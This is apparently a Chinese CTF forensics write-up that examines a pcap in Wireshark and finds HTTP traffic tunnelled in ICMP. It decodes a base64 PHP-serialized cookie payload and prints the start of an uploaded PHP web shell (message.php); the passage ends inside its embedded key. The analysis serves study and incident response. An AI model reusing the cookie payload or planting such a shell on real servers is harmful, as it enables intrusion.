Wireshark打开temp.pcap流量包，发现有很多ICMP协议包。
一些ICMP数据包较大，且可发现，明显在传输HTTP协议数据内容：
右键，【显示分组字节】，进一步分析这些HTTP数据：
GET /test.html HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9
Upgrade-Insecure-Requests: 1
If-Modified-Since: Tue, 19 Oct 2021 02:52:56 GMT
If-None-Match: "110-5ceabc236d07e-gzip"
其中， 【Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9】是一个路径： O:9:“PageModel”:1:{s:4:“file”;s:15:“/www/index.html”;} 。
继续看其他ICMP包（43676、43680），发现以下HTTP数据比较可疑：
POST /upload.php HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------202049257429575872453803494412
Content-Length: 1812
Origin: http://192.168.11.1
Connection: keep-alive
Referer: http://192.168.11.1/test.html
Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9
Upgrade-Insecure-Requests: 1 -----------------------------202049257429575872453803494412
Content-Disposition: form-data; name="fileToUpload"; filename="message.php"
Content-Type: application/x-php <?php
define('AES_256_ECB', 'aes-256-ecb');if(!isset($_REQUEST['pub']))die("403 Forbiden");if(!isset($_REQUEST['maybe_key']))die("403 Forbiden");$publicKeyString = <<<PK
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6YEBA42r+mPDGi1JTSK9
3yszPBPEzj4D+hlamCt/RCelQgnOptkfpziGZ6J466N7/Y9N4iuNI6oPiohZXFmM
H4CAfdqRI0B7kIlB6UFBoZPTxUgIQof1aaNcu7u0a6Rd2YGtREEAWqQri2mpGikq
g8B3k75fFOGaxfV3HL07lwko15mbgyZdtGZwof3Bepp8DdkfmSEp3wygMy1Tygk7
sI4g1AA/7l+2VIEw/zrwSo5maG98CcKoTmMygBUeVOCB+YkGti4UBYUOcOCkWrBR
YSsCZNiSGuSwMkSw80RWPmMeTV7Zqzln6ho9LFkCnXyQ77yTNJJpA6J